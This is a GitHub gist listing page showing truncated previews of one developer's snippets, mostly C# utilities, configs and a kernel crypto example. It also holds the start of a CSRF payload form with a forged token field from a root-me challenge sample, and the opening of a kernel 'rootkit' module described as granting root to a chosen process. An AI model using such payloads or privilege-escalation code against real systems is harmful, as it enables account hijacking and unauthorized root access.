Skip to content

Instantly share code, notes, and snippets.

@vkobel
vkobel / permit-signer.html
Created December 21, 2023 15:29
Web3 signer for the EIP-20 Permit method
<!DOCTYPE html>
<html>
<head>
<title>ERC20 Permit Signing</title>
<script src="https://cdn.jsdelivr.net/npm/web3/dist/web3.min.js"></script>
</head>
<style>
body {
@vkobel
vkobel / underscoreCase.cs
Created August 7, 2014 14:22
Simple C# extension method to convert a camel case string to underscore notation without any regex
public static class ExtensionMethods {
public static string ToUnderscoreCase(this string str) {
return string.Concat(str.Select((x, i) => i > 0 && char.IsUpper(x) ? "_" + x.ToString() : x.ToString())).ToLower();
}
}
@vkobel
vkobel / IRepository.cs
Last active December 7, 2023 14:16
Generic C# .NET Repository pattern (interface + implementation)
using System;
using System.Linq;
using System.Linq.Expressions;
namespace Data.GenericRepo {
public interface IRepository<T> : IDisposable where T : class {
T[] GetAll();
IQueryable<T> Query(Expression<Func<T, bool>> predicate);
@vkobel
vkobel / hash_kernel_module.c
Last active August 19, 2023 13:35
Example of using the Linux Kernel Crypto API for SHA256 hashing (tested with 5.6)
#include <linux/module.h>
#include <crypto/hash.h>
struct sdesc {
struct shash_desc shash;
char ctx[];
};
static struct sdesc *init_sdesc(struct crypto_shash *alg)
{
@vkobel
vkobel / payload.html
Created February 19, 2016 09:58
CSRF payload for token based mechanism (root-me sample)
<body onload="get()">
<form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="your_username"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="forged-token" name="token" value=""/>
<input type="submit" value="go"/>
</form>
<script>
@vkobel
vkobel / web.config
Created September 4, 2014 01:52
Symfony web.config for IIS
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<rewrite>
<rules>
<rule name="Imported Rule 1" stopProcessing="true">
<match url="^(.*)$" ignoreCase="false" />
<conditions logicalGrouping="MatchAll">
<add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
</conditions>
@vkobel
vkobel / kernel_rootkit.c
Last active October 22, 2022 16:54
Simple "rootkit" kernel module (tested with Linux 5.6.3) that adds a device handler taking a PID and upgrade it to root (example in the comments below)
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/fs.h>
MODULE_LICENSE("GPL");
struct task_struct *get_task_struct_by_pid(unsigned pid)
{
struct pid *proc_pid = find_vpid(pid);
@vkobel
vkobel / .Xresources
Created June 10, 2016 13:02
Custom monokai themed Xresources file (tested with URxvt and i3)
! special
*.foreground: #d1d1d1
! *.background: #221e2d
*.cursorColor: #d1d1d1
! black
*.color0: #272822
*.color8: #75715e
! red
@vkobel
vkobel / GenericPropertyMethods.cs
Created May 13, 2013 12:33
Simple extension methods for objects, generic and list of objects to get and set properties (and related stuff).
using System;
using System.Collections.Generic;
using System.Reflection;
namespace Vkobel.ExtensionMethods {
public static class GenericPropertyMethods {
public static PropertyInfo GetProperty(this object obj, string name) {
return obj.GetType().GetProperty(name);
}
@vkobel
vkobel / RxDragDrop.cs
Last active August 10, 2020 05:04
Simple Drag & Drop with Reactive Extensions
using System;
using System.Reactive.Linq;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
namespace RxDragAndDrop {
public partial class MainWindow : Window {